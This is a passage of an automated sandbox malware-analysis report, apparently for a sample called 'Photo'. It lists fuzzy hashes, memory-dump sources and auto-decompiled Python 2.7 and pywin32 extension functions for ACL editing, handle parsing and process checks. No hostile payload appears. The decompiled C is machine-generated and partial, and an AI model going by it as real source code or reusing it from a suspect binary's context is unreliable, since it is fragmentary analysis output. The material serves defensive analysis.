Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID:
API String ID: 3371842430-0
Opcode ID: fc49f0cffaa43fd83b6ae52b08b3e75fbcb6afadc8e4e7e4c04b87fbe3fd62bb
Instruction ID: dc8179c012e064b46a088a9ce6184dcf5eb413e563cc469dc8986f25489c612d
Opcode Fuzzy Hash: fc49f0cffaa43fd83b6ae52b08b3e75fbcb6afadc8e4e7e4c04b87fbe3fd62bb
Instruction Fuzzy Hash: DEF0C8B2641211ABCA146769BC0CE9B779DDFC0276F148839FE0AD3201DB34D42596E1

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AB120 Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(0000001E), ref: 1E7AB127
PyThreadState_Delete.PYTHON27 ref: 1E7AB13C
TlsSetValue.KERNEL32(0000001E,00000000), ref: 1E7AB14E
LocalFree.KERNEL32(00000000), ref: 1E7AB155

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Value$DeleteFreeLocalState_Thread
String ID:
API String ID: 3706641815-0
Opcode ID: 558dc935b24244ae2e551653a032c3aa8d3780a0030ded8c0a822f064c599124
Instruction ID: 742de9be5bfa6addb7aa7fd9322835ef7f0356fa1e3ba90f2b641c1f8199123d
Opcode Fuzzy Hash: 558dc935b24244ae2e551653a032c3aa8d3780a0030ded8c0a822f064c599124
Instruction Fuzzy Hash: 52E0E571401620ABE721AB24E8C8B9737A9EF8C62AF194A14EA9242640D635D882CE94

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A9E40 Relevance: 6.0, APIs: 4, Instructions: 21threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(0000001E), ref: 1E7A9E47
PyThreadState_Delete.PYTHON27 ref: 1E7A9E5C
TlsSetValue.KERNEL32(0000001E,00000000), ref: 1E7A9E6E
LocalFree.KERNEL32(00000000), ref: 1E7A9E75

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Value$DeleteFreeLocalState_Thread
String ID:
API String ID: 3706641815-0
Opcode ID: 6c79d154b6e56f47ac9ad9d0b0d1be6d675ba5e8e95ee4f066c45160e2837b67
Instruction ID: 3816705c34b1e456f645b1b9cc39bf09c3e91a7a2bdf128d3975373a88bbfe9b
Opcode Fuzzy Hash: 6c79d154b6e56f47ac9ad9d0b0d1be6d675ba5e8e95ee4f066c45160e2837b67
Instruction Fuzzy Hash: 06E04F36401631EBE3216B20E8C8BC737ADEF8C61AF1D8614FA8242154D734D882CE95

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A3F20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(?,DEVMODE structure of size %d greater than supported size of %d,?,?), ref: 1E7A3F5C

Strings

DEVMODE structure of size %d greater than supported size of %d, xrefs: 1E7A3F56

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_Format
String ID: DEVMODE structure of size %d greater than supported size of %d
API String ID: 376477240-1470040908
Opcode ID: 70dac7ef397431be941df9c7c8c659e02a7bda4e7df70613e57b58546c3235f8
Instruction ID: 115a685f8cba940808cc017bd3699b64ed7dd8331da33372fce7189a4455f878
Opcode Fuzzy Hash: 70dac7ef397431be941df9c7c8c659e02a7bda4e7df70613e57b58546c3235f8
Instruction Fuzzy Hash: DC11EC75914271DBE214AF58E8409A773F9DBC8721B084B19FA9283290D3B4EC81C791

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A3870 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(?,DEVMODE structure of size %d greater than supported size of %d,?,?), ref: 1E7A38AC

Strings

DEVMODE structure of size %d greater than supported size of %d, xrefs: 1E7A38A6

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_Format
String ID: DEVMODE structure of size %d greater than supported size of %d
API String ID: 376477240-1470040908
Opcode ID: 73d69d95eba3511825a2040f022b2becc1b682d415afc64ab6810caf5bcc7648
Instruction ID: 16166c521baea562084c85cdb8c98f11016189f3d4a06579fea11ca892beb7f5
Opcode Fuzzy Hash: 73d69d95eba3511825a2040f022b2becc1b682d415afc64ab6810caf5bcc7648
Instruction Fuzzy Hash: 6111EC759102719BF6649F68E8409AB73E9EBC8721B084719FA8283254D3B4EC81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02761A90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E02761A90(void* __ebx, intOrPtr _a8, intOrPtr _a12) {
				signed int _v4;
				char _v8;
				signed int _t12;
				signed int _t14;

				_push( &_v8);
				_push( &_v4);
				_push(0x276b2c4);
				_v8 =  *0x2769290;
				_push("i|O");
				_push(_a12);
				_push(_a8);
				if( *0x2769294() != 0) {
					_t12 = _v4;
					__eflags = _t12;
					if(_t12 == 0) {
						L8:
						return  *0x27692b4(0x276b2d4);
					} else {
						__eflags = _t12 - 4;
						if(_t12 == 4) {
							goto L8;
						} else {
							_t14 = E02765E90(__ebx, _t12);
							__eflags = _t14;
							if(_t14 != 0) {
								__eflags = _t14 - 0xffffffff;
								if(_t14 == 0xffffffff) {
									goto L1;
								} else {
									__eflags = _v8 -  *0x2769290; // 0x6c6b3454
									_t7 = __eflags == 0;
									__eflags = __eflags == 0;
									return E02766630(_v4, 0 | _t7);
								}
							} else {
								return E02761020(0x276d7d9);
							}
						}
					}
				} else {
					L1:
					return 0;
				}
			}

0x02761a9b
0x02761aa4
0x02761aa5
0x02761aaa
0x02761ab2
0x02761ab7
0x02761ab8
0x02761ac4
0x02761acc
0x02761ad0
0x02761ad2
0x02761b1c
0x02761b2d
0x02761ad4
0x02761ad4
0x02761ad7
0x00000000
0x02761ad9
0x02761ada
0x02761ae2
0x02761ae4
0x02761af7
0x02761afa
0x00000000
0x02761afc
0x02761b01
0x02761b07
0x02761b07
0x02761b1b
0x02761b1b
0x02761ae6
0x02761af6
0x02761af6
0x02761ae4
0x02761ad7
0x02761ac6
0x02761ac6
0x02761acb
0x02761acb

APIs

PyArg_ParseTupleAndKeywords.PYTHON27(?,?,i|O,0276B2C4,?), ref: 02761AB9

Strings

i|O, xrefs: 02761AB2

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_KeywordsParseTuple
String ID: i|O
API String ID: 3508857537-3719185222
Opcode ID: 719e2eb06f03bb2873225fbc0d210ca63b542c2d9db806ba156a6bbd8863768d
Instruction ID: ed9770ef379257c1ae36a18f4d589d24536ed11f9b3cd690d0a6d5bf692ec9b6
Opcode Fuzzy Hash: 719e2eb06f03bb2873225fbc0d210ca63b542c2d9db806ba156a6bbd8863768d
Instruction Fuzzy Hash: E00140B5A442026FEB10E668AD4D93B37D96A94609FC84928EC4DD3300F235D628CA63

Uniqueness

Uniqueness Score: -1.00%

Function 02761020 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

PyObject_CallFunction.PYTHON27(?,(is),00000003,00000000,0276D7E1), ref: 0276105A
PyErr_SetObject.PYTHON27(00000000,00000000,?,(is),00000003,00000000,0276D7E1), ref: 0276106C

Strings

(is), xrefs: 02761054

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: CallErr_FunctionObjectObject_
String ID: (is)
API String ID: 915594520-1164188219
Opcode ID: 6819d411c4d38736082e8e4383be1f5b3d71ae246627a0d9ed92e135c5796a6c
Instruction ID: 18cdd1a62e9c7f285e66325969bfd2713055092269728cc247b7b315f4fb63c1
Opcode Fuzzy Hash: 6819d411c4d38736082e8e4383be1f5b3d71ae246627a0d9ed92e135c5796a6c
Instruction Fuzzy Hash: 3B014471A44211DFCB248B28EC0CAA333A9EF45324F208654FD0AE7380D731E915CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 027610D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

PyObject_CallFunction.PYTHON27(?,(is),0000000D,00000000,0276D7E0), ref: 0276110A
PyErr_SetObject.PYTHON27(00000000,00000000,?,(is),0000000D,00000000,0276D7E0), ref: 0276111C

Strings

(is), xrefs: 02761104

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: CallErr_FunctionObjectObject_
String ID: (is)
API String ID: 915594520-1164188219
Opcode ID: 5287fc0b5dcac64c6e64654cbc499194a82ede98a1320f141a45ec6a5e82b066
Instruction ID: dd75f07eefee859fea938c40eb54ef2b069d04cc014135b815dd92035c1e4814
Opcode Fuzzy Hash: 5287fc0b5dcac64c6e64654cbc499194a82ede98a1320f141a45ec6a5e82b066
Instruction Fuzzy Hash: 2601AD71A402109FC7248B68EC0CA6777A5AB45224F14C654ED0AE7394DB31A815C790

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A2510 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,lllOOO:AddAccessAllowedObjectAce,?,?,?,?,?), ref: 1E7A253A

Strings

lllOOO:AddAccessAllowedObjectAce, xrefs: 1E7A2534
AddAccessAllowedObjectAce, xrefs: 1E7A2573

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: AddAccessAllowedObjectAce$lllOOO:AddAccessAllowedObjectAce
API String ID: 3371842430-684429688
Opcode ID: 70afb1bb17fd9af8553180bc2cc374c43091f26cc838916356be171b7dd8f761
Instruction ID: 5334963454f766d8806366109799812a03107103cd582ed98986707243f9d265
Opcode Fuzzy Hash: 70afb1bb17fd9af8553180bc2cc374c43091f26cc838916356be171b7dd8f761
Instruction Fuzzy Hash: AE0192B6518241ABD305DB54CC80CABB7EDBBDC604F444B0CF69983215E634E555CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A2590 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,lllOOO:AddAccessDeniedObjectAce,?,?,?,?,?), ref: 1E7A25BA

Strings

AddAccessDeniedObjectAce, xrefs: 1E7A25F3
lllOOO:AddAccessDeniedObjectAce, xrefs: 1E7A25B4

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: AddAccessDeniedObjectAce$lllOOO:AddAccessDeniedObjectAce
API String ID: 3371842430-3179976129
Opcode ID: 4263e734ad7c35de3555712d6e566fb878268f41d3d04156fb5d9dd2d72979c3
Instruction ID: 93ed2dc530eff0f46820f1fb5063490e334964b331319ad75ddf0807c0b6f9fa
Opcode Fuzzy Hash: 4263e734ad7c35de3555712d6e566fb878268f41d3d04156fb5d9dd2d72979c3
Instruction Fuzzy Hash: 0D0192B6518241ABD305DB54CC90C9BB7EDBBDC604F444B4CF69983215F630E955CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A8AE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42timeCOMMON

Download Yara Rule

APIs

VariantTimeToSystemTime.OLEAUT32 ref: 1E7A8B10
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(VariantTimeToSystemTime,00000000), ref: 1E7A8B20

Strings

VariantTimeToSystemTime, xrefs: 1E7A8B1B

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Time$Error@@SystemU_object@@VariantWin_
String ID: VariantTimeToSystemTime
API String ID: 963617488-2676162551
Opcode ID: e2b2eaf6430580e1ed9ed4f0d59e255b3e351f23eb2aded1247cddc75be8fa89
Instruction ID: 5e4a76e1de2732a55a3c896ad13680a6d931588b491aacda0412475925a2740e
Opcode Fuzzy Hash: e2b2eaf6430580e1ed9ed4f0d59e255b3e351f23eb2aded1247cddc75be8fa89
Instruction Fuzzy Hash: 02F0F6B6E101519BF200AB24FC4D98BF39A9BC4320F0D4764EA9887274E730DC46C791

Uniqueness

Uniqueness Score: -1.00%

Function 02766760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 02766100: GetCurrentProcess.KERNEL32(?,?,00000000), ref: 0276614F
Part of subcall function 02766100: IsWow64Process.KERNEL32(00000000,?,00000000), ref: 0276615C
Part of subcall function 02766100: IsWow64Process.KERNEL32(00000000,?,?,00000000), ref: 0276616C
Part of subcall function 02766100: PyErr_Clear.PYTHON27(?,?,?,00000000), ref: 027661AE
Part of subcall function 02766100: CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 02766488
Part of subcall function 02766100: 6C423B4E.MSVCR90(00000000,?,?,00000000), ref: 02766493

PyUnicodeUCS2_FromWideChar.PYTHON27(00000001,-00000001,?,?,?,0276240D,00000000), ref: 027667A1
6C423B4E.MSVCR90(00000001,?,?,?,0276240D,00000000), ref: 027667B1

Strings

N;Bl, xrefs: 027667B1

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Process$C423Wow64$CharClearCloseCurrentErr_FromHandleUnicodeWide
String ID: N;Bl
API String ID: 3377497924-4110088855
Opcode ID: 0915f5d8e3b08aa26f4e2d24825a50eaecbfb6bf2b61046faf55b952313ab08b
Instruction ID: b9f5dcd8fac11fa4a4c0ba3190f603c899d99ddeb793d23461ba51e2b5623f8c
Opcode Fuzzy Hash: 0915f5d8e3b08aa26f4e2d24825a50eaecbfb6bf2b61046faf55b952313ab08b
Instruction Fuzzy Hash: CAF096769002025BC7109F1CAD49AAB77A9DFC0A55F484518FD45D7201F735E518C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A4680 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,|O:HANDLE), ref: 1E7A469A
?PyWinObject_AsHANDLE@@YAHPAU_object@@PAPAX@Z.PYWINTYPES27(?,?), ref: 1E7A46B0

Strings

|O:HANDLE, xrefs: 1E7A4690

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Object_ParseTupleU_object@@
String ID: |O:HANDLE
API String ID: 71531768-3700050126
Opcode ID: 97a5f86fb53aab01e3b472677d1aee3a6230a149102aa4e46843a0049de515be
Instruction ID: 9fea3204e8c686e50d175317a2d6e768496ae01543ccd2b35dbee12b2030e3e2
Opcode Fuzzy Hash: 97a5f86fb53aab01e3b472677d1aee3a6230a149102aa4e46843a0049de515be
Instruction Fuzzy Hash: 75F081745002029FE700DF21ED45A5677E4AF84708F8D8A2CE94887265F736D808CF62

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A4820 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,|O:HANDLERegistry), ref: 1E7A483A
?PyWinObject_AsHANDLE@@YAHPAU_object@@PAPAX@Z.PYWINTYPES27(?,?), ref: 1E7A4850

Strings

|O:HANDLERegistry, xrefs: 1E7A4830

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Object_ParseTupleU_object@@
String ID: |O:HANDLERegistry
API String ID: 71531768-3745035425
Opcode ID: 0a6614b4f45f53d7ce3bbb6a172cde0393e7d9d3efe5548aa7c87bbfca7da9ee
Instruction ID: 78016d20080cc73d3eed8d9878b0b370806111abdbe6293ea97bc578d4860306
Opcode Fuzzy Hash: 0a6614b4f45f53d7ce3bbb6a172cde0393e7d9d3efe5548aa7c87bbfca7da9ee
Instruction Fuzzy Hash: 76F081709002459FF704DF21ED45A5677E8AF84309F498B2CE94887265F736D808CF62

Uniqueness

Uniqueness Score: -1.00%

Function 02766060 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E02766060(void* __eflags, void* _a4, intOrPtr _a8) {
				void* _t4;
				void* _t11;

				_t11 = _a4;
				_t4 = E02765F70(_t11, _a8);
				if(_t4 != 1) {
					if(_t4 != 0) {
						if(_t4 != 0xffffffff) {
							return 0;
						} else {
							if(GetLastError() != 5) {
								return E02761090("OpenProcess");
							} else {
								return  *0x27692b8(0);
							}
						}
					} else {
						return E02761020(0x276d7f8);
					}
				} else {
					return _t11;
				}
			}

0x02766065
0x0276606b
0x02766076
0x0276607e
0x02766092
0x027660be
0x02766094
0x0276609d
0x027660ba
0x0276609f
0x027660ab
0x027660ab
0x0276609d
0x02766080
0x0276608e
0x0276608e
0x02766078
0x0276607b
0x0276607b

Strings

OpenProcess, xrefs: 027660AC

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_ErrorLastString
String ID: OpenProcess
API String ID: 2598814712-3743895883
Opcode ID: 1ac284ce702829a3122c5de6772081883d6f977b10a653fc15ab473445f703f9
Instruction ID: 382b31309e4a0493825b8b4baa1ad244697f40c11d19ee06e3da1d700444f0de
Opcode Fuzzy Hash: 1ac284ce702829a3122c5de6772081883d6f977b10a653fc15ab473445f703f9
Instruction Fuzzy Hash: 35F0E5B2E082206BED5032787C0DAFB375C8B85274F890971FE09D4159E326D8D086E3

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A2240 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,lllO:AddAccessDeniedAceEx,?,?,?), ref: 1E7A2260

Strings

lllO:AddAccessDeniedAceEx, xrefs: 1E7A225A
AddAccessDeniedAceEx, xrefs: 1E7A228F

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: AddAccessDeniedAceEx$lllO:AddAccessDeniedAceEx
API String ID: 3371842430-4150984663
Opcode ID: 4f5e869a4ed58cc0528e119ce8c8622e65122daad5b519976a5ee7cfaf79775d
Instruction ID: 559fe5d0b0d1aa5da0a5778d5a2d034146b27b96cda6793b7671a9b29633ec21
Opcode Fuzzy Hash: 4f5e869a4ed58cc0528e119ce8c8622e65122daad5b519976a5ee7cfaf79775d
Instruction Fuzzy Hash: 7CF0FFB5518241ABE304EB48CC80C6B73EDEBDC204F884A4CF69982211E631E914CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A22B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,kkkO:AddMandatoryAce,?,?,?), ref: 1E7A22D0

Strings

AddMandatoryAce, xrefs: 1E7A22FF
kkkO:AddMandatoryAce, xrefs: 1E7A22CA

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: AddMandatoryAce$kkkO:AddMandatoryAce
API String ID: 3371842430-3675006617
